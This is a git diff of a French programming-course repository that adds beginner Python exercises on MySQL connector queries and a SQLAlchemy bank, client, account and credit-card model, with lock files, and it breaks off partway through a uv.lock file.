b/Semaine_07/Jour_03/B_Boiché_Gauvain.mwb differ diff --git a/Semaine_07/Jour_03/B_Boiché_Gauvain.mwb.bak b/Semaine_07/Jour_03/B_Boiché_Gauvain.mwb.bak new file mode 100644 index 0000000..c982b2b Binary files /dev/null and b/Semaine_07/Jour_03/B_Boiché_Gauvain.mwb.bak differ diff --git a/Semaine_07/Jour_03/python/connector/.env b/Semaine_07/Jour_03/python/connector/.env new file mode 100644 index 0000000..3cbed32 --- /dev/null +++ b/Semaine_07/Jour_03/python/connector/.env @@ -0,0 +1,4 @@ +DB_HOST=localhost +DB_USER=mysql_user +DB_PASSWORD=Azerty123 +DB_NAME=company \ No newline at end of file diff --git a/Semaine_07/Jour_03/python/connector/.python-version b/Semaine_07/Jour_03/python/connector/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_07/Jour_03/python/connector/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_07/Jour_03/python/connector/README.md b/Semaine_07/Jour_03/python/connector/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_07/Jour_03/python/connector/main.py b/Semaine_07/Jour_03/python/connector/main.py new file mode 100644 index 0000000..d5912e9 --- /dev/null +++ b/Semaine_07/Jour_03/python/connector/main.py @@ -0,0 +1,115 @@ +import os + +from dotenv import load_dotenv +from mysql.connector import Error, connect, errorcode + +load_dotenv() + +db_host = os.environ.get("DB_HOST") +db_user = os.environ.get("DB_USER") +db_password = os.environ.get("DB_PASSWORD") +db_name = os.environ.get("DB_NAME") + +try: + connection = connect( + host= db_host, + user= db_user, + password= db_password, + database= db_name + ) + + cursor = connection.cursor() + ### Exemple 1 : commande + # cursor.execute("SELECT * FROM employee LIMIT 5") + # results = cursor.fetchone() + # print(results) + + # ### Exemple 2 : requête complète comme variable + # query = """ + # CREATE TABLE IF NOT EXISTS movies ( + # id INT AUTO_INCREMENT PRIMARY KEY, + # title VARCHAR(100), + # release_year YEAR(4), + # genre VARCHAR(100), + # collection_in_mil DECIMAL(4,1) + # ) + # """ + # cursor.execute(query) + # # CIUD : Create, Insert, Update, Delete => Commit + # connection.commit() + + ### Exemple 3 : multiple requête + insert_query = """ + INSERT INTO movies (title, release_year, genre, collection_in_mil) + VALUES + ("Forrest Gump", 1994, "Drama", 330.2), + ("INception", 2010, "Aventure", 293.7), + ("Titanic", 1995, "Drama", 530.4) + """ + + create_query = """ + CREATE TABLE IF NOT EXISTS reviewers ( + id INT AUTO_INCREMENT PRIMARY KEY, + firstname VARCHAR(100), + lastname VARCHAR(100) + ) + """ + + insert_query_2 = """ + INSERT INTO reviewers (firstname, lastname) + VALUES (%s, %s) + """ + + reviewers = [ + ("Jean", "FAIBLE"), + ("Alain", "TERIEUR"), + ("Tabatha", "CLOISON"), + ("Ahmed", "BIEN") + ] + + cursor.execute(insert_query) + cursor.execute(create_query) + cursor.executemany(insert_query_2, reviewers) + connection.commit() + + cursor.execute("SELECT * FROM movies") + # lire un par un + resultat = cursor.fetchone() + print(resultat) + while resultat is not None: + print(resultat) + resultat = cursor.fetchone() + + # utilisation de lot + cursor.execute("SELECT * FROM movies") + batch = cursor.fetchmany(size= 4) + while batch: + print("----") + for row in batch: + print(row) + batch = cursor.fetchmany(4) + + # Out of Memory + + insert_movies_query = """ + INSERT INTO movies (title, release_year, genre, collection_in_mil) + VALUES (%s, %s, %s, %s) + """ + + with open("movies.csv", "r") as fichier: + reader = csv.reader(fichier) + next(reader) + +except Error as error: + match error.errno: + case errorcode.ER_ACCESS_DENIED_ERROR: + print("Accès refusé. Vérifier USER et PASSWORD") + case errorcode.ER_BAD_DB_ERROR: + print("BDD n'existe pas") + case _: + print(f"Erreur {error}") +finally: + if cursor is not None: + cursor.close() + if connection is not None and connection.is_connected(): + connection.close() \ No newline at end of file diff --git a/Semaine_07/Jour_03/python/connector/pyproject.toml b/Semaine_07/Jour_03/python/connector/pyproject.toml new file mode 100644 index 0000000..5f870b9 --- /dev/null +++ b/Semaine_07/Jour_03/python/connector/pyproject.toml @@ -0,0 +1,10 @@ +[project] +name = "connector" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "mysql-connector-python>=9.6.0", + "python-dotenv>=1.2.2", +] diff --git a/Semaine_07/Jour_03/python/connector/uv.lock b/Semaine_07/Jour_03/python/connector/uv.lock new file mode 100644 index 0000000..edbfd32 --- /dev/null +++ b/Semaine_07/Jour_03/python/connector/uv.lock @@ -0,0 +1,51 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "connector" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "mysql-connector-python" }, + { name = "python-dotenv" }, +] + +[package.metadata] +requires-dist = [ + { name = "mysql-connector-python", specifier = ">=9.6.0" }, + { name = "python-dotenv", specifier = ">=1.2.2" }, +] + +[[package]] +name = "mysql-connector-python" +version = "9.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6e/c89babc7de3df01467d159854414659c885152579903a8220c8db02a3835/mysql_connector_python-9.6.0.tar.gz", hash = "sha256:c453bb55347174d87504b534246fb10c589daf5d057515bf615627198a3c7ef1", size = 12254999, upload-time = "2026-02-10T12:04:52.63Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8f/d9/2a4b4d90b52f4241f0f71618cd4bd8779dd6d18db8058b0a4dd83ec0541c/mysql_connector_python-9.6.0-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:9664e217c72dd6fb700f4c8512af90261f72d2f5d7c00c4e13e4c1e09bfa3d5e", size = 17585672, upload-time = "2026-02-10T12:03:52.955Z" }, + { url = "https://files.pythonhosted.org/packages/33/91/2495835733a054e716a17dc28404748b33f2dc1da1ae4396fb45574adf40/mysql_connector_python-9.6.0-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:1ed4b5c4761e5333035293e746683890e4ef2e818e515d14023fd80293bc31fa", size = 18452624, upload-time = "2026-02-10T12:03:56.153Z" }, + { url = "https://files.pythonhosted.org/packages/7a/69/e83abbbbf7f8eed855b5a5ff7285bc0afb1199418ac036c7691edf41e154/mysql_connector_python-9.6.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:5095758dcb89a6bce2379f349da336c268c407129002b595c5dba82ce387e2a5", size = 34169154, upload-time = "2026-02-10T12:03:58.831Z" }, + { url = "https://files.pythonhosted.org/packages/82/44/67bb61c71f398fbc739d07e8dcadad94e2f655874cb32ae851454066bea0/mysql_connector_python-9.6.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:4ae4e7780fad950a4f267dea5851048d160f5b71314a342cdbf30b154f1c74f7", size = 34542947, upload-time = "2026-02-10T12:04:02.408Z" }, + { url = "https://files.pythonhosted.org/packages/ba/39/994c4f7e9c59d3ca534a831d18442ac4c529865db20aeaa4fd94e2af5efd/mysql_connector_python-9.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c180e0b4100d7402e03993bfac5c97d18e01d7ca9d198d742fffc245077f8ffe", size = 16515709, upload-time = "2026-02-10T12:04:04.924Z" }, + { url = "https://files.pythonhosted.org/packages/2f/58/9521aa678708ec6cebfd40524c14c3d151e4f29e3774e6086aa0a30d203b/mysql_connector_python-9.6.0-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:e86e45a7b540ca09af8a18ecfa761e0cdeccfdb62818331614ec030ae44bfd26", size = 17585837, upload-time = "2026-02-10T12:04:07.004Z" }, + { url = "https://files.pythonhosted.org/packages/39/8d/b108f9bcce9780f6a1f91decb2af54defdaf845e237ddc42f2b4578f1cd7/mysql_connector_python-9.6.0-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:8d3e9252384e1b7f95b07020664f2673d9c29c5e95eeda2e048b3331e190b9d4", size = 18452844, upload-time = "2026-02-10T12:04:09.418Z" }, + { url = "https://files.pythonhosted.org/packages/d6/28/735cd93d16e76dc2feb4abb3f1229a1d9475af34d80c26712fec6abe1d70/mysql_connector_python-9.6.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:0fa18ead33cb699ea92005695077cef09aa494eebf51164ee30c891c3eaea90c", size = 34169374, upload-time = "2026-02-10T12:04:12.13Z" }, + { url = "https://files.pythonhosted.org/packages/42/07/069983799cf4050c68f61a494f94b06f095fee6026ab0dd863a14de30867/mysql_connector_python-9.6.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:a26490cb029bf7b18a1d2093101105b3526a1036b51ad01553d30138f5beb8d2", size = 34543019, upload-time = "2026-02-10T12:04:15.065Z" }, + { url = "https://files.pythonhosted.org/packages/32/00/fbeb7d666ab8153f719e620bac5abfbc74640e8ec511612493110a75fe66/mysql_connector_python-9.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:3460ed976e1b88b7284335d9397a3c519dff56d71580ca1f76ff1c0c7714c813", size = 16515701, upload-time = "2026-02-10T12:04:19.26Z" }, + { url = "https://files.pythonhosted.org/packages/70/51/13cc90b2a703784cd9a0aa0a6fce07946cf6a2abe7c8fd0b585562e250fc/mysql_connector_python-9.6.0-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:e2cc13cd3dcdb845d636e52c4e7a9509b63da09bec6ce1b3696be53a79847e2d", size = 17585800, upload-time = "2026-02-10T12:04:21.6Z" }, + { url = "https://files.pythonhosted.org/packages/c8/6b/ce7ab998fbdd17f35a1b54624365d039045cbb2d42bbc7b03f50d7597c7b/mysql_connector_python-9.6.0-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:a08c2149d4b52a010c4353f18c84716d18114a4ecd00b466ea34138de2c640f2", size = 18452823, upload-time = "2026-02-10T12:04:23.995Z" }, + { url = "https://files.pythonhosted.org/packages/f9/bf/8157ed61d17878c33511dcb97c68ecaaaf6220bea5a2944ea4eba73cc63a/mysql_connector_python-9.6.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:b00228b985edd208b20f45c5e684c54e08e31e01bc1d8c3c18a36641c3be5bf7", size = 34171594, upload-time = "2026-02-10T12:04:27.401Z" }, + { url = "https://files.pythonhosted.org/packages/f7/06/5efdd28819afdb9f1487a62842fda4277febe128a3cd6e9090dbe0a6524e/mysql_connector_python-9.6.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:4617ef5216da7ca32dd46afda61a1552807762434127413bba46fbe4379f59d4", size = 34542851, upload-time = "2026-02-10T12:04:31.021Z" }, + { url = "https://files.pythonhosted.org/packages/40/6a/26e08a4a79f159cd8e5b64eb10bd056e7735b65d4464d98641f59eb9ca3a/mysql_connector_python-9.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:bc782f64ca00b6b933d4c6a35568f1349d115cc4434c849b5b9edc015bee3e62", size = 17002947, upload-time = "2026-02-10T12:04:34.386Z" }, + { url = "https://files.pythonhosted.org/packages/15/dd/b3250826c29cee7816de4409a2fe5e469a68b9a89f6bfaa5eed74f05532c/mysql_connector_python-9.6.0-py2.py3-none-any.whl", hash = "sha256:44b0fb57207ebc6ae05b5b21b7968a9ed33b29187fe87b38951bad2a334d75d5", size = 480527, upload-time = "2026-02-10T12:04:36.176Z" }, +] + +[[package]] +name = "python-dotenv" +version = "1.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, +] diff --git a/Semaine_07/Jour_04/bank/.python-version b/Semaine_07/Jour_04/bank/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_07/Jour_04/bank/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_07/Jour_04/bank/README.md b/Semaine_07/Jour_04/bank/README.md new file mode 100644 index 0000000..e486ebc --- /dev/null +++ b/Semaine_07/Jour_04/bank/README.md @@ -0,0 +1,3 @@ +```py +uv add sqlalchemy +``` \ No newline at end of file diff --git a/Semaine_07/Jour_04/bank/database/__init__.py b/Semaine_07/Jour_04/bank/database/__init__.py new file mode 100644 index 0000000..0e3caa7 --- /dev/null +++ b/Semaine_07/Jour_04/bank/database/__init__.py @@ -0,0 +1,12 @@ +from sqlalchemy.orm import DeclarativeMeta, declarative_base +from database.connection import get_engine + +Base: DeclarativeMeta = declarative_base() # permet à SQLAlchemy de faire la liaison Python <-> SQL +engine = get_engine() + +from entities.accounts import Account +from entities.banks import Bank +from entities.clients import Client, ClientNotFound +from entities.credit_cards import CreditCard + +Base.metadata.create_all(engine) \ No newline at end of file diff --git a/Semaine_07/Jour_04/bank/database/bank.db b/Semaine_07/Jour_04/bank/database/bank.db new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_07/Jour_04/bank/database/connection.py b/Semaine_07/Jour_04/bank/database/connection.py new file mode 100644 index 0000000..a706f18 --- /dev/null +++ b/Semaine_07/Jour_04/bank/database/connection.py @@ -0,0 +1,16 @@ +from sqlalchemy import create_engine +from sqlalchemy.orm import declarative_base, sessionmaker # constructeur de classe + +db_url = "sqlite:///database/bank.db" + +Base = declarative_base() + +# moteur_dialect +def get_engine(): + return create_engine(url= db_url) + +# session => cursor +def get_session(): + engine = get_engine() + Session = sessionmaker(bind= engine) + return Session() \ No newline at end of file diff --git a/Semaine_07/Jour_04/bank/entities/accounts.py b/Semaine_07/Jour_04/bank/entities/accounts.py new file mode 100644 index 0000000..c74cc09 --- /dev/null +++ b/Semaine_07/Jour_04/bank/entities/accounts.py @@ -0,0 +1,51 @@ +from random import randint + +from sqlalchemy import ForeignKey, Column, Integer, Float +from sqlalchemy.orm import relationship + +from database import Base, engine + +class Account(Base): + __tablename__ = "accounts" + + id = Column(Integer, primary_key= True, autoincrement= True) + number = Column(Integer, nullable= False) + balance = Column(Float, default= 0, nullable= False) + + client_id = Column(Integer, ForeignKey("clients.id"), nullable= False) + credit_card_id = Column(Integer, ForeignKey("credit_cards.id")) + + client = relationship('Client', back_populates= "accounts") + + def __init__(self, initial_deposit: int | float) -> None: + self.number = self.account_number() + self.amount = initial_deposit + + def __repr__(self) -> str: + return f"\ + [Numéro de compte] : {self.number}\n\ + [Montant disponible] : {self.amount}" + + def __eq__(self, other: 'Account'): + return self.number == other.number + + def account_number(self): + number = "".join(str(randint(0,9)) for _ in range(7)) + return " ".join(number[_: _ + 4] for _ in range(0,7,4)) + + def add_money(self, add_amount: int | float): + if add_amount < 0: + return f"{add_amount} n'est pas un entier positif. Recommencez." + self.amount += add_amount + return f"{add_amount} ont été ajoutés. Le nouveau solde est de {self.amount}." + + def take_money(self, take_amount: int | float): + if take_amount < 0: + return f"{take_amount} n'est pas un entier positif. Recommencez." + self.amount -= take_amount + if self.amount < 0: + return f"{take_amount} ont été retirés. Le nouveau solde est de {self.amount}.\n\ + Vous êtes débiteur et devrez payer des agios si vous ne régularisez pas votre situation." + return f"{take_amount} ont été retirés. Le nouveau solde est de {self.amount}." + +Base.metadata.create_all(engine) \ No newline at end of file diff --git a/Semaine_07/Jour_04/bank/entities/banks.py b/Semaine_07/Jour_04/bank/entities/banks.py new file mode 100644 index 0000000..3ac04c0 --- /dev/null +++ b/Semaine_07/Jour_04/bank/entities/banks.py @@ -0,0 +1,37 @@ +from clients import Client, ClientNotFound +from credit_cards import CreditCard + +from sqlalchemy import Column, Integer, String +from sqlalchemy.orm import relationship + +from database import Base, engine + +class Bank(Base): + __tablename__ = "banks" + + id = Column(Integer, primary_key= True, autoincrement= True) + name = Column(String(200), nullable= False) + + clients = relationship("Client", back_populate= "bank", uselist= True) # type: ignore + # Le uselist définit le One ou le Many d'une relation inter-tables + # Cela permet aussi de définir la dépendance d'une table à l'autre + + def __init__(self, name: str) -> None: + self.name = name + self.clients: list["Client"] = [] + # Tout attribut faisant référence à une autre classe + # est une RELATION, pas une COLONNE + + def __repr__(self) -> str: + return f"\ + [Banque] : {self.name}" + + def add_client(self, client: "Client"): + self.clients.append(client) + + def request_credit_card(self, client: "Client"): + if client not in self.clients: + raise ClientNotFound() + return CreditCard(account = client.account) + +Base.metadata.create_all(engine) \ No newline at end of file diff --git a/Semaine_07/Jour_04/bank/entities/clients.py b/Semaine_07/Jour_04/bank/entities/clients.py new file mode 100644 index 0000000..78aabb8 --- /dev/null +++ b/Semaine_07/Jour_04/bank/entities/clients.py @@ -0,0 +1,43 @@ +from accounts import Account +from services import client_service + +from sqlalchemy import ForeignKey, Column, Integer, String, Float +from sqlalchemy.orm import relationship + +from database import Base, engine + +class Client(Base): + __tablename__ = "clients" + + id = Column(Integer, primary_key= True, autoincrement= True) + first_name = Column(String(200), nullable= False) + last_name = Column(String(200), nullable= False) + city = Column(String(200)) + salary = Column(Float) + + bank_id = Column(Integer, ForeignKey("banks.id"), nullable= False) + + bank = relationship("Bank", back_populates= "clients") + account = relationship("Account", back_populates= "clients", uselist= False) # type: ignore + services = relationship("Services", back_populates= "clients", secondary= client_service) + + def __init__(self, first_name: str, last_name: str, salary: float, city: str, initial_deposit: int | float = 0) -> None: + self.first_name = first_name + self.last_name = last_name + self.salary = salary + self.city = city + self.account: Account = Account(initial_deposit = initial_deposit) + + def __eq__(self, other: "Client") -> bool: + return self.first_name == other.first_name and\ + self.last_name == other.last_name and\ + self.account == other.account # type: ignore + + def __repr__(self) -> str: + return f"Client({self.first_name} {self.last_name})" + +class ClientNotFound(Exception): + def __init__(self, *args: object) -> None: + super().__init__("Client not found") + +Base.metadata.create_all(engine) \ No newline at end of file diff --git a/Semaine_07/Jour_04/bank/entities/credit_cards.py b/Semaine_07/Jour_04/bank/entities/credit_cards.py new file mode 100644 index 0000000..f23a9cc --- /dev/null +++ b/Semaine_07/Jour_04/bank/entities/credit_cards.py @@ -0,0 +1,45 @@ +from datetime import datetime +from random import randint + +from accounts import Account + +from sqlalchemy import Column, Integer, CHAR +from sqlalchemy.orm import relationship + +from database import Base, engine + +class CreditCard(Base): + __tablename__ = "credit_cards" + + id = Column(Integer, primary_key= True, autoincrement= True) + number = Column(CHAR(19), nullable= False) + secure_code = Column(CHAR(3), nullable= False) + expire_date = Column(CHAR(5), nullable= False) + + account = relationship("Account", back_populates= "credit_cards", uselist= False) # type: ignore + + def __init__(self, account: "Account") -> None: + self.number = self.credit_card_number() + self.expire_date = self.expiration_date() + self.secure_code = self.security_code() + self.account = account + + def __repr__(self) -> str: + return f"\ + [Numéro de carte] : {self.number}\n\ + [Date d'expiration] : {self.expire_date}\n\ + [Code de sécurité] : {self.secure_code}" + + def credit_card_number(self): + number = "".join(str(randint(0,9)) for _ in range(16)) + return " ".join(number[_: _ + 4] for _ in range(0,16,4)) + + def security_code(self): + return "".join(str(randint(0,9)) for _ in range(3)) + + def expiration_date(self): + current_date = datetime.now() + future_date = current_date.replace(year=current_date.year + 5) + return str(future_date.strftime("%m/%y")) + +Base.metadata.create_all(engine) \ No newline at end of file diff --git a/Semaine_07/Jour_04/bank/entities/services.py b/Semaine_07/Jour_04/bank/entities/services.py new file mode 100644 index 0000000..078b513 --- /dev/null +++ b/Semaine_07/Jour_04/bank/entities/services.py @@ -0,0 +1,30 @@ +from sqlalchemy import ForeignKey, Column, Integer, String, Float, Table +from sqlalchemy.orm import relationship + +from database.connection import Base + +# Table d'association +client_service = Table( + 'client_service', + Base.metadata, + Column('client_id', Integer, ForeignKey('clients.id'), primary_key= True), + Column('service_id', Integer, ForeignKey('clients.id'), primary_key= True) +) + +class Service(Base): + __tablename__ = "Services" + + id = Column(Integer, primary_key= True, autoincrement= True) + name = Column(String(200), nullable= False) + description = Column(String(500)) + monthly_price = Column(Float) + + clients = relationship("Client", back_populates= "services", secondary= client_service) + + def __init__(self, name, description= "", price= 0): + self.name = name + self.description = description + self.monthly_price = price + + def __repr__(self): + return f"Service({self.name})" \ No newline at end of file diff --git a/Semaine_07/Jour_04/bank/main (# Edit conflict 2026-03-19 yty269C #).py b/Semaine_07/Jour_04/bank/main (# Edit conflict 2026-03-19 yty269C #).py new file mode 100644 index 0000000..8c66729 --- /dev/null +++ b/Semaine_07/Jour_04/bank/main (# Edit conflict 2026-03-19 yty269C #).py @@ -0,0 +1,51 @@ +from entities.accounts import Account +from entities.banks import Bank +from entities.clients import Client, ClientNotFound +from entities.credit_cards import CreditCard +# from database import create_table + +""" +On veut gérer des banques +Une banque a comme attributs : +- un nom +- une liste de clients + +Un client a comme attributs : +- un prénom +- un nom +- un salaire +- une ville + +Une banque peut ajouter un client à sa liste, ce qui va créer un compte + +Un compte a : +- un numéro à 7 chiffres +- un solde initial de 0 + +On peut : +- déposer de l'argent +- retirer de l'argent + +Une banque peut demander unne CB pour un client +Une CB a un numéro à 16 chiffres, un code de sécurité de 3 chiffres et une date d'expiration de 5 ans +""" + +def create_tables(): + Base.metadata.create_all(get_engine()) + +create_tables() +session = get_session() + +# Banques +bank_001 = Bank("Crédit Agricool") +bank_002 = Bank("Société Géniale") +# Clients +client_001 = Client("Alex", "TERIEUR", 3000, "Lorient") +client_002 = Client("Emma", "TITEGOUTTE", 1750, "Brest") + +session.add(bank_001) +session.add(bank_002) +session.add(client_001) +session.add(client_002) + +session.commit() \ No newline at end of file diff --git a/Semaine_07/Jour_04/bank/main.py b/Semaine_07/Jour_04/bank/main.py new file mode 100644 index 0000000..3f7e2d1 --- /dev/null +++ b/Semaine_07/Jour_04/bank/main.py @@ -0,0 +1,51 @@ +from entities.accounts import Account +from entities.banks import Bank +from entities.clients import Client, ClientNotFound +from entities.credit_cards import CreditCard +from database import create_table + +""" +On veut gérer des banques +Une banque a comme attributs : +- un nom +- une liste de clients + +Un client a comme attributs : +- un prénom +- un nom +- un salaire +- une ville + +Une banque peut ajouter un client à sa liste, ce qui va créer un compte + +Un compte a : +- un numéro à 7 chiffres +- un solde initial de 0 + +On peut : +- déposer de l'argent +- retirer de l'argent + +Une banque peut demander unne CB pour un client +Une CB a un numéro à 16 chiffres, un code de sécurité de 3 chiffres et une date d'expiration de 5 ans +""" + +def create_tables(): + Base.metadata.create_all(get_engine()) + +create_tables() +session = get_session() + +# Banques +bank_001 = Bank("Crédit Agricool") +bank_002 = Bank("Société Géniale") +# Clients +client_001 = Client("Alex", "TERIEUR", 3000, "Lorient") +client_002 = Client("Emma", "TITEGOUTTE", 1750, "Brest") + +session.add(bank_001) +session.add(bank_002) +session.add(client_001) +session.add(client_002) + +session.commit() \ No newline at end of file diff --git a/Semaine_07/Jour_04/bank/pyproject.toml b/Semaine_07/Jour_04/bank/pyproject.toml new file mode 100644 index 0000000..7da3742 --- /dev/null +++ b/Semaine_07/Jour_04/bank/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "bank" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "sqlalchemy>=2.0.48", +] diff --git a/Semaine_07/Jour_04/bank/uv.lock b/Semaine_07/Jour_04/bank/uv.lock new file mode 100644 index 0000000..e99a00f --- /dev/null +++ b/Semaine_07/Jour_04/bank/uv.lock @@ -0,0 +1,108 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "bank" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "sqlalchemy" }, +] + +[package.metadata] +requires-dist = [{ name = "sqlalchemy", specifier = ">=2.0.48" }] + +[[package]] +name = "greenlet" +version = "3.3.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a3/51/1664f6b78fc6ebbd98019a1fd730e83fa78f2db7058f72b1463d3612b8db/greenlet-3.3.2.tar.gz", hash = "sha256:2eaf067fc6d886931c7962e8c6bede15d2f01965560f3359b27c80bde2d151f2", size = 188267, upload-time = "2026-02-20T20:54:15.531Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ea/ab/1608e5a7578e62113506740b88066bf09888322a311cff602105e619bd87/greenlet-3.3.2-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:ac8d61d4343b799d1e526db579833d72f23759c71e07181c2d2944e429eb09cd", size = 280358, upload-time = "2026-02-20T20:17:43.971Z" }, + { url = "https://files.pythonhosted.org/packages/a5/23/0eae412a4ade4e6623ff7626e38998cb9b11e9ff1ebacaa021e4e108ec15/greenlet-3.3.2-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ceec72030dae6ac0c8ed7591b96b70410a8be370b6a477b1dbc072856ad02bd", size = 601217, upload-time = "2026-02-20T20:47:31.462Z" }, + { url = "https://files.pythonhosted.org/packages/f8/16/5b1678a9c07098ecb9ab2dd159fafaf12e963293e61ee8d10ecb55273e5e/greenlet-3.3.2-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a2a5be83a45ce6188c045bcc44b0ee037d6a518978de9a5d97438548b953a1ac", size = 611792, upload-time = "2026-02-20T20:55:58.423Z" }, + { url = "https://files.pythonhosted.org/packages/50/1f/5155f55bd71cabd03765a4aac9ac446be129895271f73872c36ebd4b04b6/greenlet-3.3.2-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43e99d1749147ac21dde49b99c9abffcbc1e2d55c67501465ef0930d6e78e070", size = 613875, upload-time = "2026-02-20T20:21:01.102Z" }, + { url = "https://files.pythonhosted.org/packages/fc/dd/845f249c3fcd69e32df80cdab059b4be8b766ef5830a3d0aa9d6cad55beb/greenlet-3.3.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4c956a19350e2c37f2c48b336a3afb4bff120b36076d9d7fb68cb44e05d95b79", size = 1571467, upload-time = "2026-02-20T20:49:33.495Z" }, + { url = "https://files.pythonhosted.org/packages/2a/50/2649fe21fcc2b56659a452868e695634722a6655ba245d9f77f5656010bf/greenlet-3.3.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6c6f8ba97d17a1e7d664151284cb3315fc5f8353e75221ed4324f84eb162b395", size = 1640001, upload-time = "2026-02-20T20:21:09.154Z" }, + { url = "https://files.pythonhosted.org/packages/9b/40/cc802e067d02af8b60b6771cea7d57e21ef5e6659912814babb42b864713/greenlet-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:34308836d8370bddadb41f5a7ce96879b72e2fdfb4e87729330c6ab52376409f", size = 231081, upload-time = "2026-02-20T20:17:28.121Z" }, + { url = "https://files.pythonhosted.org/packages/58/2e/fe7f36ff1982d6b10a60d5e0740c759259a7d6d2e1dc41da6d96de32fff6/greenlet-3.3.2-cp312-cp312-win_arm64.whl", hash = "sha256:d3a62fa76a32b462a97198e4c9e99afb9ab375115e74e9a83ce180e7a496f643", size = 230331, upload-time = "2026-02-20T20:17:23.34Z" }, + { url = "https://files.pythonhosted.org/packages/ac/48/f8b875fa7dea7dd9b33245e37f065af59df6a25af2f9561efa8d822fde51/greenlet-3.3.2-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:aa6ac98bdfd716a749b84d4034486863fd81c3abde9aa3cf8eff9127981a4ae4", size = 279120, upload-time = "2026-02-20T20:19:01.9Z" }, + { url = "https://files.pythonhosted.org/packages/49/8d/9771d03e7a8b1ee456511961e1b97a6d77ae1dea4a34a5b98eee706689d3/greenlet-3.3.2-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ab0c7e7901a00bc0a7284907273dc165b32e0d109a6713babd04471327ff7986", size = 603238, upload-time = "2026-02-20T20:47:32.873Z" }, + { url = "https://files.pythonhosted.org/packages/59/0e/4223c2bbb63cd5c97f28ffb2a8aee71bdfb30b323c35d409450f51b91e3e/greenlet-3.3.2-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d248d8c23c67d2291ffd47af766e2a3aa9fa1c6703155c099feb11f526c63a92", size = 614219, upload-time = "2026-02-20T20:55:59.817Z" }, + { url = "https://files.pythonhosted.org/packages/7a/34/259b28ea7a2a0c904b11cd36c79b8cef8019b26ee5dbe24e73b469dea347/greenlet-3.3.2-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b6997d360a4e6a4e936c0f9625b1c20416b8a0ea18a8e19cabbefc712e7397ab", size = 616774, upload-time = "2026-02-20T20:21:02.454Z" }, + { url = "https://files.pythonhosted.org/packages/0a/03/996c2d1689d486a6e199cb0f1cf9e4aa940c500e01bdf201299d7d61fa69/greenlet-3.3.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:64970c33a50551c7c50491671265d8954046cb6e8e2999aacdd60e439b70418a", size = 1571277, upload-time = "2026-02-20T20:49:34.795Z" }, + { url = "https://files.pythonhosted.org/packages/d9/c4/2570fc07f34a39f2caf0bf9f24b0a1a0a47bc2e8e465b2c2424821389dfc/greenlet-3.3.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1a9172f5bf6bd88e6ba5a84e0a68afeac9dc7b6b412b245dd64f52d83c81e55b", size = 1640455, upload-time = "2026-02-20T20:21:10.261Z" }, + { url = "https://files.pythonhosted.org/packages/91/39/5ef5aa23bc545aa0d31e1b9b55822b32c8da93ba657295840b6b34124009/greenlet-3.3.2-cp313-cp313-win_amd64.whl", hash = 